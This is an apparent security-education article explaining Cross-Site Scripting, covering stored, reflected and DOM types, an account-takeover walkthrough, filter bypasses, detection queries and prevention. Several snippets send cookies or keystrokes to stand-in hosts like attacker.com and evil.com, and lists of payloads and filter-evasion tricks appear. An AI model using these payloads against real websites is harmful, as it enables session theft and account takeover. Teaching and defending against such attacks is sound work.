A user visits a website they trust. The page loads normally. But invisible to them, a piece of JavaScript is running in their browser — not code the website intended to include. It’s code left there by an attacker, weeks or months ago. In seconds, their session is stolen, and the attacker logs into their account from the other side of the world.

This is XSS — Cross-Site Scripting. It’s been on the OWASP Top 10 for over two decades. And it’s still one of the most commonly found vulnerabilities on the web today.

TL;DR

  • XSS injects malicious JavaScript into web pages that other users see
  • Three main types: Stored (persistent), Reflected (one-time), DOM-based (client-side)
  • Most impactful use: stealing session cookies → account takeover
  • Content Security Policy (CSP) is the strongest defense — when implemented correctly
  • Detection: look for <script>, onerror=, javascript: in user input fields and logs

Table of Contents


What Is XSS?

Web browsers have one fundamental rule: JavaScript running on a page is trusted to act on behalf of that page. If you’re on bank.com, the JavaScript there can read your account balance, initiate transactions, and access your session cookie — because the browser assumes that code came from the bank.

XSS breaks this assumption. If an attacker can get their code onto the bank’s page, the browser treats it with the same trust as the bank’s own code.

The “cross-site” part of the name refers to this: code originating from an attacker’s context executing within a victim site’s context. The browser can’t tell the difference. It just runs whatever JavaScript the page contains.

The vulnerability appears when:

  • User input is placed into a web page without proper sanitization
  • The application reflects back content that contains executable code
  • JavaScript reads data from an untrustworthy source (URL hash, localStorage, cookies) and writes it directly to the DOM

How It Works

The simplest possible example:

A website has a search feature. When you search for “password manager”, the page displays:

<p>Search results for: password manager</p>

The application just takes whatever you typed and puts it in the page. Now search for:

<script>alert(1)</script>

If the application doesn’t sanitize input, the page now contains:

<p>Search results for: <script>alert(1)</script></p>

The browser renders this and executes the JavaScript. alert(1) is the classic proof-of-concept. Replace it with anything — code to steal cookies, redirect the user, or log keystrokes.


The Three Types of XSS

Stored XSS (Persistent)

The attacker’s payload is saved in the application’s database and served to every user who views that content.

Scenario: A forum lets users post comments. The attacker posts a comment containing a <script> tag. Every visitor who loads that forum thread now executes the attacker’s code.

This is the most dangerous type because:

  • A single injection attacks every future visitor
  • The attacker doesn’t need to trick each victim individually
  • The payload can persist for months or years

Common injection points: Comments, profile bios, message boards, product reviews, support tickets, usernames.


Reflected XSS (Non-Persistent)

The payload is in the URL itself. The server reflects it back in the response, but it’s not stored anywhere.

Scenario: A search page reflects the query in the HTML. The attacker crafts a malicious URL:

https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

The attacker then sends this link to a victim via phishing email. When the victim clicks it, their browser executes the script.

Reflected XSS requires tricking the victim into clicking a link — but URL shorteners and phishing emails make this routine. Modern browsers have some mitigations, but they’re far from complete.


DOM-Based XSS

This type never touches the server. The vulnerability is entirely in the client-side JavaScript.

The application reads data from an untrusted source (URL hash, document.referrer, localStorage) and writes it directly into the DOM:

// Vulnerable code
const name = location.hash.substring(1); // Reads from URL: #<value>
document.getElementById("welcome").innerHTML = "Hello " + name;

Now visit:

https://example.com/profile#<img src=x onerror=alert(1)>

The innerHTML assignment renders the <img> tag, the src fails to load, and onerror fires. The server never saw anything — the entire attack happened in the browser.

Common sources (where attacker-controlled data enters):

  • document.URL, location.href, location.hash
  • document.referrer
  • window.name
  • localStorage, sessionStorage

Common sinks (where data is written to DOM unsafely):

  • innerHTML, outerHTML
  • document.write()
  • eval()
  • setTimeout("string", ...), setInterval("string", ...)

What Attackers Do With XSS

XSS gives attackers a JavaScript execution context inside the victim’s browser, within the origin of the target site. Here’s what that enables:

// Send the victim's cookies to attacker's server
new Image().src = "https://attacker.com/log?c=" + encodeURIComponent(document.cookie);

If the session cookie doesn’t have the HttpOnly flag, this single line is enough to steal the session and hijack the account.

Credential Harvesting

// Inject a fake login form over the real page
document.body.innerHTML = '<form action="https://attacker.com/harvest" method="POST">...'

The victim sees what looks like a normal login prompt and enters credentials.

Keylogging

document.addEventListener('keypress', function(e) {
new Image().src = "https://attacker.com/keys?k=" + e.key;
});

Every keystroke the victim makes is sent to the attacker.

Browser-Based Reconnaissance

Since the script runs in the victim’s browser, it can:

  • Read the victim’s local network (scan internal IPs via fetch)
  • Access localStorage and sessionStorage (may contain tokens)
  • Read any visible page content
  • Redirect the user to any URL

Malware Distribution and Crypto Mining

Injecting persistent scripts into high-traffic pages allows attackers to serve malware or silently use visitor CPUs for cryptocurrency mining — as happened in the Magecart and Coinhive campaigns that affected thousands of sites.


Attack Chain: XSS to Account Takeover

Here’s how a real attack plays out:

Step 1 — Find a Stored XSS

The attacker finds that a web application’s comment section doesn’t sanitize input. Posts a comment containing:

<script>
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);
</script>

The comment is saved to the database.

Step 2 — Victim Triggers the Payload

A logged-in user visits the page. Their browser loads and executes the comment’s script. Their session cookie is sent to the attacker’s server.

Attacker’s server log:

GET /steal?cookie=session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... HTTP/1.1

Step 3 — Session Hijacking

The attacker opens the target site in their browser and injects the stolen cookie using DevTools:

document.cookie = "session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";

Refresh the page. The application sees a valid session cookie and logs the attacker in as the victim — no username or password needed.

Step 4 — Escalation

Depending on the application:

  • Admin account stolen? Full application takeover.
  • Payment information exposed? Financial fraud.
  • Other users’ data accessible? Mass data exfiltration.
  • OAuth tokens in localStorage? Third-party service compromise.

The attacker can also use the stolen session to change the account’s email and password — locking the legitimate user out permanently.


Common Payloads

Classic Proof of Concept

<script>alert(document.domain)</script>

Showing document.domain (instead of just 1) proves which origin the script is executing in.

<script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script>

Event Handler Payloads

When <script> tags are filtered, use HTML attributes:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input onfocus=alert(1) autofocus>
<body onload=alert(1)>
<video src=1 onerror=alert(1)>
<details open ontoggle=alert(1)>

Without Parentheses

Some filters block (. Using template literals:

<svg onload="window['ale'+'rt'`1`]">
<img src=x onerror="alert`1`">

JavaScript URL

<a href="javascript:alert(1)">Click me</a>

Bypassing XSS Filters

Applications often try to block XSS by filtering certain strings. These filters are notoriously incomplete.

Case Variation

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

HTML Entity Encoding

Inside HTML attributes, browsers decode entities before processing:

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

&#97; = a, &#108; = l, etc. This spells alert(1).

JavaScript String Escaping

Inside a <script> context that already exists:

// Vulnerable code
var name = "USER_INPUT";
// Input:
"; alert(1); var x="
// Result in page:
var name = ""; alert(1); var x="";

Nested Tags (When Filters Strip Tags Incompletely)

<scr<script>ipt>alert(1)</scr</script>ipt>

If the filter removes <script> once without looping, the outer tag becomes valid.

Unicode and Encoding

<img src="\x00" onerror=alert(1)> <!-- Null byte -->
<script>eval('\u0061\u006c\u0065\u0072\u0074(1)')</script>

Iframe and Meta Redirects

<iframe src="javascript:alert(1)">
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">

Attacker Mindset

“I’m not attacking the server. I’m attacking the server’s users — through the server.”

XSS is fundamentally different from most vulnerabilities. The attacker doesn’t want to break the server — they want to use the server as a delivery mechanism to compromise users.

The most valuable targets aren’t low-traffic testing pages. They’re:

  • Login pages (steal credentials as they’re typed)
  • Admin panels (stored XSS here reaches every admin)
  • High-traffic shared content (comments on popular posts)
  • Password reset flows (inject code to capture the new password)
  • Checkout pages (Magecart style — capture payment card data)

When an attacker finds an XSS, the first question is: who visits this page? Admins? Customers? Anonymous users? The answer determines the value of the attack.

HttpOnly cookies block the classic cookie theft technique — but they don’t stop the attacker from acting as the user in real time (making API calls, changing settings, reading data) since the browser sends the cookie automatically with every request.


Real-World Impact

British Airways (2018) — Magecart attackers injected 22 lines of JavaScript into British Airways’ payment page. For 15 days, the credit card details of 500,000 customers were silently exfiltrated. The UK ICO fined BA £20 million.

Samy Worm (2005) — MySpace user Samy Kamkar exploited a stored XSS vulnerability to create a self-propagating worm. His profile added “but most of all, Samy is my hero” to every profile that viewed his — and propagated to theirs. One million profiles were infected in under 24 hours.

eBay (2015–2016) — Researchers found stored XSS vulnerabilities in eBay’s listing platform. Attackers used it to redirect buyers to fake payment pages and steal PayPal credentials.

Twitter (2010) — The “onMouseOver” worm exploited a reflected XSS vulnerability. Hovering over a crafted tweet caused it to retweet itself. The payload spread across thousands of accounts in hours before Twitter patched it.

XSS is listed in the OWASP Top 10 as A03:2021 — Injection. Bug bounty programs consistently pay $1,000–$25,000+ for high-impact stored XSS on critical functionality.


Detection

What to Monitor

In application logs — look for these patterns in user input:

<script[^>]*>
on\w+\s*= # Event handlers: onclick=, onerror=, onload=
javascript: # JavaScript URL scheme
<iframe|<object|<embed|<svg
eval\(|setTimeout\(|setInterval\(
document\.cookie
document\.write
innerHTML\s*=

WAF and Log Analysis

# Splunk — detect XSS patterns in HTTP parameters
index=web_logs
| regex _raw="(?i)(<script|onerror=|onload=|javascript:|document\.cookie)"
| table _time, src_ip, uri, params, user_agent
| sort -_time
# Detect base64-encoded exfiltration (common in cookie theft payloads)
index=web_logs
| search uri="*/steal*" OR uri="*/log*" OR uri="*/x*"
| regex params="(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)"

Browser-Side Detection (CSP Reports)

With a properly configured Content Security Policy, the browser sends violation reports when inline scripts attempt to execute:

{
"csp-report": {
"document-uri": "https://example.com/comment/123",
"violated-directive": "script-src",
"blocked-uri": "inline",
"original-policy": "script-src 'self'"
}
}

Spikes in CSP violation reports from a single page or user are a strong XSS signal.

DOM XSS Detection

DOM-based XSS doesn’t appear in server logs. Detect it with:

  • Browser-side monitoring (CSP report-uri)
  • JavaScript runtime protection libraries (e.g., DOMPurify in audit mode)
  • Browser security extensions in corporate environments

Prevention

1. Output Encoding — The Foundation

Every piece of user-supplied data must be encoded for its context before being placed in HTML.

Different contexts need different encoding:

ContextExampleEncoding
HTML body<p>USER_INPUT</p>HTML entity encode: <&lt;
HTML attribute<input value="USER_INPUT">HTML attribute encode
JavaScriptvar x = "USER_INPUT"JavaScript string escape
URL parameter?q=USER_INPUTURL percent encode
CSScolor: USER_INPUTCSS hex encode

Never mix contexts. Don’t HTML-encode data that goes into a JavaScript string — use JavaScript encoding there.

Use a well-tested library:

  • Python: html.escape(), or Jinja2/Django auto-escaping
  • JavaScript: DOMPurify for sanitizing HTML
  • Java: OWASP Java Encoder
  • PHP: htmlspecialchars() with ENT_QUOTES

2. Content Security Policy (CSP)

CSP tells the browser which sources are allowed to execute scripts. A strong CSP is the most effective defense against XSS exploitation, even when injection exists.

Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
object-src 'none';
base-uri 'self';
report-uri https://your-csp-report-endpoint.com

Avoid unsafe-inline — it negates most of CSP’s XSS protection. Use nonces or hashes instead:

Content-Security-Policy: script-src 'nonce-rAnd0m123' 'strict-dynamic'
<script nonce="rAnd0m123">
// Only this script block executes — others are blocked
</script>

3. HttpOnly and Secure Cookies

Mark session cookies as HttpOnly — JavaScript can’t read them, breaking the most common cookie theft payload:

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

SameSite=Strict also prevents CSRF. Secure ensures the cookie only travels over HTTPS.

4. Avoid Dangerous DOM APIs

Replace dangerous patterns with safe alternatives:

// DANGEROUS
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// SAFE
element.textContent = userInput; // No HTML parsing
element.setAttribute("value", userInput); // Attribute set directly

When HTML is needed (rich text editors, comment formatting), use DOMPurify to sanitize before setting innerHTML:

import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

5. Input Validation

Validate input at the point of entry — reject values that don’t match expected patterns. A username field should only accept alphanumeric characters. A phone number field should only accept digits and dashes. This doesn’t replace output encoding, but reduces the attack surface.

6. Use Modern Frameworks Correctly

React, Angular, and Vue escape output by default. The risk comes from explicitly bypassing this:

// SAFE — React escapes this
<div>{userInput}</div>
// DANGEROUS — explicitly bypasses escaping
<div dangerouslySetInnerHTML={{__html: userInput}} />

Search your codebase for dangerouslySetInnerHTML, bypassSecurityTrustHtml, [innerHTML]= and v-html — these are the XSS hotspots in modern frontend apps.


What You Can Do Today

If you’re a developer:

  • Enable auto-escaping in your templating engine (most modern ones do this by default — verify it’s on)
  • Add a Content Security Policy header to your application
  • Mark all session cookies HttpOnly; Secure; SameSite=Strict
  • Audit uses of innerHTML, document.write(), and eval() in your codebase

If you’re a pentester:

  • Test every input field, URL parameter, HTTP header, and JSON field
  • Check for DOM XSS by reviewing client-side JavaScript for unsafe sinks
  • Stored XSS in admin-facing content is highest severity — prioritize those
  • Confirm impact by demonstrating cookie exfiltration, not just alert(1)

If you’re blue team:

  • Deploy a Content Security Policy with report-uri — even in report-only mode initially
  • Alert on XSS-pattern strings in WAF and application logs
  • Hunt for base64-encoded strings in outbound HTTP requests from browsers


Sources